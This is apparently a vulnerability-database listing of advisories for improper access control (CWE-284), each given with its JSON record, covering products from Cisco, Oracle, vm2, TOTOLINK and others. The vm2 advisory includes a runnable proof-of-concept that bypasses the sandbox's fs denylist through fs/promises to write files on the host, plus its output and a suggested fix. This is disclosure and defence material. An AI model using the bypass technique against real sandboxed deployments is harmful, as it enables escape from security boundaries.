Common Weakness Enumeration

CWE-284

Discouraged

Improper Access Control

Abstraction: Pillar · Status: Incomplete

API response cwe.mitre.org

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

10729 vulnerabilities reference this CWE, most recent first.

GHSA-6RCJ-394R-R32C

Vulnerability from github – Published: 2025-09-10 18:30 – Updated: 2025-09-10 18:30
VLAI
Details

A vulnerability in the management interface access control list (ACL) processing feature in Cisco IOS XR Software could allow an unauthenticated, remote attacker to bypass configured ACLs for the SSH, NetConf, and gRPC features.

This vulnerability exists because management interface ACLs have not been supported on Cisco IOS XR Software Packet I/O infrastructure platforms for Linux-handled features such as SSH, NetConf, or gRPC. An attacker could exploit this vulnerability by attempting to send traffic to an affected device. A successful exploit could allow the attacker to bypass an ingress ACL that is applied on the management interface of the affected device.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-20159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T16:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the management interface access control list (ACL) processing feature in Cisco IOS XR Software could allow an unauthenticated, remote attacker to bypass configured ACLs for the SSH, NetConf, and gRPC features.\n\nThis vulnerability exists because management interface ACLs have not been supported on Cisco IOS XR Software Packet I/O infrastructure platforms for Linux-handled features such as SSH, NetConf, or gRPC. An attacker could exploit this vulnerability by attempting to send traffic to an affected device. A successful exploit could allow the attacker to bypass an ingress ACL that is applied on the management interface of the affected device.",
  "id": "GHSA-6rcj-394r-r32c",
  "modified": "2025-09-10T18:30:15Z",
  "published": "2025-09-10T18:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20159"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-acl-packetio-Swjhhbtz"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RG3-8H8X-5XFV

Vulnerability from github – Published: 2021-06-23 18:04 – Updated: 2021-10-05 17:24
VLAI
Summary
Unchecked hostname resolution could allow access to local network resources by users outside the local network
Details

Impact

A newly implemented route allowing users to download files from remote endpoints was not properly verifying the destination hostname for user provided URLs. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.

This vulnerability requires valid authentication credentials and is therefore not exploitable by unauthenticated users. If you are running an instance for yourself or other trusted individuals this impact is unlikely to be of major concern to you. However, you should still upgrade for security sake.

Patches

Users should upgrade to the latest version of Wings.

Workarounds

There is no workaround available that does not involve modifying Panel or Wings code.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.2.0"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-23T18:04:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nA newly implemented route allowing users to download files from remote endpoints was not properly verifying the destination hostname for user provided URLs. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.\n\nThis vulnerability requires valid authentication credentials and is therefore **not exploitable by unauthenticated users**. If you are running an instance for yourself or other trusted individuals this impact is unlikely to be of major concern to you. However, you should still upgrade for security sake.\n\n### Patches\nUsers should upgrade to the latest version of Wings.\n\n### Workarounds\nThere is no workaround available that does not involve modifying Panel or Wings code.\n",
  "id": "GHSA-6rg3-8h8x-5xfv",
  "modified": "2021-10-05T17:24:11Z",
  "published": "2021-06-23T18:04:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-6rg3-8h8x-5xfv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/wings"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unchecked hostname resolution could allow access to local network resources by users outside the local network"
}

GHSA-6RH5-QQ4Q-97XH

Vulnerability from github – Published: 2026-10-01 15:36 – Updated: 2026-10-01 15:36
VLAI
Summary
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Details

Summary

NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.

With the following configuration:

require: {
  builtin: ['*', '-fs', '-child_process']
}

require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-fs', '-child_process']
  }
});

This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.

Affected Files / Functions

  • lib/builtin.js
  • DANGEROUS_BUILTINS
  • BUILTIN_MODULES
  • makeBuiltinsFromLegacyOptions
  • addDefaultBuiltin
  • lib/resolver.js
  • Resolver.resolve
  • Resolver.loadBuiltinModule
  • lib/setup-node-sandbox.js
  • requireImpl

Root Cause

lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.

There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').

Security Boundary Crossed

Sandboxed code can perform host filesystem writes even though the embedder denied fs.

Impact

Confirmed impact:

  • Host file creation
  • Host file write

The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.

Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.

'use strict';

const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');

const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;

try {
  fs.unlinkSync(proofPath);
} catch (_) {}

(async () => {
  const vm = new NodeVM({
    require: {
      builtin: ['*', '-fs', '-child_process']
    }
  });

  const result = await vm.run(`
    module.exports = (async () => {
      const r = {};

      try {
        require('fs');
        r.fsLoaded = true;
      } catch (e) {
        r.fsBlocked = true;
        r.fsError = e && e.code;
      }

      try {
        require('child_process');
        r.childProcessLoaded = true;
      } catch (e) {
        r.childProcessBlocked = true;
        r.childProcessError = e && e.code;
      }

      const fsp = require('fs/promises');
      r.fsPromisesLoaded = true;
      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();

      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
      r.wrote = true;

      return r;
    })();
  `);

  const exists = fs.existsSync(proofPath);
  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;

  console.log(JSON.stringify({
    result,
    hostFileExists: exists,
    hostFileContent: content
  }, null, 2));

  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
})().catch(error => {
  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
  console.error(error);
  process.exitCode = 1;
});

Observed result:

{
  "result": {
    "fsBlocked": true,
    "fsError": "ENOTFOUND",
    "childProcessBlocked": true,
    "childProcessError": "ENOTFOUND",
    "fsPromisesLoaded": true,
    "wrote": true
  },
  "hostFileExists": true,
  "hostFileContent": "vm2-fs-promises-marker-<pid>"
}

Additional local checks:

  • require('node:fs/promises') also loads and can write the proof file.
  • Adding -fs/promises blocks require('fs/promises').
  • Adding only -node:fs/promises does not block require('fs/promises').

Expected Secure Behavior

If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:

  • fs
  • fs/promises
  • node:fs
  • node:fs/promises

Negative entries with and without node: should be normalized consistently.

Suggested Fix

  1. Normalize builtin names before allow/deny checks:
  2. Strip node: for comparison.

  3. Use one canonical key form internally.

  4. Treat negative builtin entries as family denials where appropriate:

  5. -fs should block fs/promises.

  6. -inspector already conceptually blocks inspector/promises; apply the same family logic to user-provided negative entries.

  7. Add regression tests for:

  8. builtin: ['*', '-fs'] blocks fs/promises.
  9. builtin: ['*', '-fs'] blocks node:fs/promises.
  10. -node:fs/promises and -fs/promises behave equivalently.
  11. Explicit allowlist behavior is documented and covered.
Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:36:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNodeVM\u0027s builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n}\n```\n\n`require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` are blocked, but `require(\u0027fs/promises\u0027)` and `require(\u0027node:fs/promises\u0027)` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `\u0027*\u0027` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node\u0027s builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require(\u0027node:fs/promises\u0027)` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027./\u0027);\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n  const vm = new NodeVM({\n    require: {\n      builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () =\u003e {\n      const r = {};\n\n      try {\n        require(\u0027fs\u0027);\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e \u0026\u0026 e.code;\n      }\n\n      try {\n        require(\u0027child_process\u0027);\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e \u0026\u0026 e.code;\n      }\n\n      const fsp = require(\u0027fs/promises\u0027);\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, \u0027utf8\u0027);\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, \u0027utf8\u0027) : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error =\u003e {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require(\u0027node:fs/promises\u0027)` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require(\u0027fs/promises\u0027)`.\n- Adding only `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `fs/promises`.\n   - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.",
  "id": "GHSA-6rh5-qq4q-97xh",
  "modified": "2026-10-01T15:36:49Z",
  "published": "2026-10-01T15:36:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes"
}

GHSA-6RHF-2WCR-R3RX

Vulnerability from github – Published: 2023-09-07 18:30 – Updated: 2024-04-04 07:33
VLAI
Details

A vulnerability has been identified within Serv-U 15.4 and 15.4 Hotfix 1 that, if exploited, allows an actor to bypass multi-factor/two-factor authentication. The actor must have administrator-level access to Serv-U to perform this action. 15.4.  SolarWinds found that the issue was not completely fixed in 15.4 Hotfix 1. 

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-40060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-07T16:15:08Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified within Serv-U 15.4 and 15.4 Hotfix 1 that, if exploited, allows an actor to bypass multi-factor/two-factor authentication. The actor must have administrator-level access to Serv-U to perform this action. \n15.4.\u00a0 SolarWinds found that the issue was not completely fixed in 15.4 Hotfix 1.\u00a0",
  "id": "GHSA-6rhf-2wcr-r3rx",
  "modified": "2024-04-04T07:33:26Z",
  "published": "2023-09-07T18:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40060"
    },
    {
      "type": "WEB",
      "url": "https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-15-4-0-Hotfix-2?language=en_US"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2023-40060"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RR5-6R78-6FH8

Vulnerability from github – Published: 2026-08-18 21:32 – Updated: 2026-08-18 21:32
VLAI
Details

Vulnerability in the Oracle Hyperion Infrastructure Technology product of Oracle Hyperion (component: Installation and Configuration). The supported version that is affected is 11.2.25.0.000. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Hyperion Infrastructure Technology executes to compromise Oracle Hyperion Infrastructure Technology. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Infrastructure Technology accessible data. CVSS 3.1 Base Score 5.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-62553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T21:17:07Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Hyperion Infrastructure Technology product of Oracle Hyperion (component: Installation and Configuration).   The supported version that is affected is 11.2.25.0.000. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Hyperion Infrastructure Technology executes to compromise Oracle Hyperion Infrastructure Technology.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Hyperion Infrastructure Technology accessible data. CVSS 3.1 Base Score 5.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).",
  "id": "GHSA-6rr5-6r78-6fh8",
  "modified": "2026-08-18T21:32:27Z",
  "published": "2026-08-18T21:32:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62553"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RR7-922W-QJQM

Vulnerability from github – Published: 2026-08-29 00:31 – Updated: 2026-09-01 18:30
VLAI
Details

Incorrect access control in the getWiFiApcliScan function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauthenticated attackers to trigger wireless scans and retrieve AP-client scan results via sending a crafted POST request to /cgi-bin/cstecgi.cgi.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-51663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T22:16:49Z",
    "severity": "CRITICAL"
  },
  "details": "Incorrect access control in the getWiFiApcliScan function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauthenticated attackers to trigger wireless scans and retrieve AP-client scan results via sending a crafted POST request to /cgi-bin/cstecgi.cgi.",
  "id": "GHSA-6rr7-922w-qjqm",
  "modified": "2026-09-01T18:30:33Z",
  "published": "2026-08-29T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-51663"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DarkBoulder/CVE-Vendor-Coordination/blob/main/TOTOLINK/README.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ShengWu00/CVE-Vendor-Coordination/blob/main/TOTOLINK/README.md"
    },
    {
      "type": "WEB",
      "url": "https://www.totolink.net"
    },
    {
      "type": "WEB",
      "url": "https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/190/ids/36.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RV4-8GR8-8Q77

Vulnerability from github – Published: 2024-04-15 21:30 – Updated: 2024-07-03 18:34
VLAI
Details

An issue discovered in silex technology DS-600 Firmware v.1.4.1 allows a remote attacker to cause a denial of service via crafted UDP packets using the EXEC REBOOT SYSTEM command.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-24487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-15T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue discovered in silex technology DS-600 Firmware v.1.4.1 allows a remote attacker to cause a denial of service via crafted UDP packets using the EXEC REBOOT SYSTEM command.",
  "id": "GHSA-6rv4-8gr8-8q77",
  "modified": "2024-07-03T18:34:24Z",
  "published": "2024-04-15T21:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24487"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/MostafaSoliman/Security-Advisories/master/CVE-2024-24487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RV5-XG83-XCCR

Vulnerability from github – Published: 2025-10-09 15:31 – Updated: 2025-10-09 18:30
VLAI
Details

Lavasoft Web Companion (also known as Ad-Aware WebCompanion) versions 8.9.0.1091 through 12.1.3.1037 installs the DCIService.exe service with an unquoted service path vulnerability. An attacker with write access to the file system could potentially execute arbitrary code with elevated privileges by placing a malicious executable in the unquoted path.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-45095"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-09T15:16:06Z",
    "severity": "HIGH"
  },
  "details": "Lavasoft Web Companion (also known as Ad-Aware WebCompanion) versions 8.9.0.1091 through 12.1.3.1037 installs the DCIService.exe service with an unquoted service path vulnerability. An attacker with write access to the file system could potentially execute arbitrary code with elevated privileges by placing a malicious executable in the unquoted path.",
  "id": "GHSA-6rv5-xg83-xccr",
  "modified": "2025-10-09T18:30:36Z",
  "published": "2025-10-09T15:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45095"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/T4rantell/cd73592950c4ac700b40cc8e8e36494d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RWX-GRJQ-Q99F

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Business Process Management Suite. While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-60542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:54Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Business Process Management Suite.  While the vulnerability is in Oracle Business Process Management Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).",
  "id": "GHSA-6rwx-grjq-q99f",
  "modified": "2026-07-22T00:31:46Z",
  "published": "2026-07-22T00:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60542"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RXF-9CRP-QW88

Vulnerability from github – Published: 2026-08-18 21:32 – Updated: 2026-08-18 21:32
VLAI
Details

Vulnerability in the Oracle Web Services Manager product of Oracle Fusion Middleware (component: Web Services Security). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Web Services Manager. While the vulnerability is in Oracle Web Services Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Web Services Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Web Services Manager accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-61001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T21:16:51Z",
    "severity": "CRITICAL"
  },
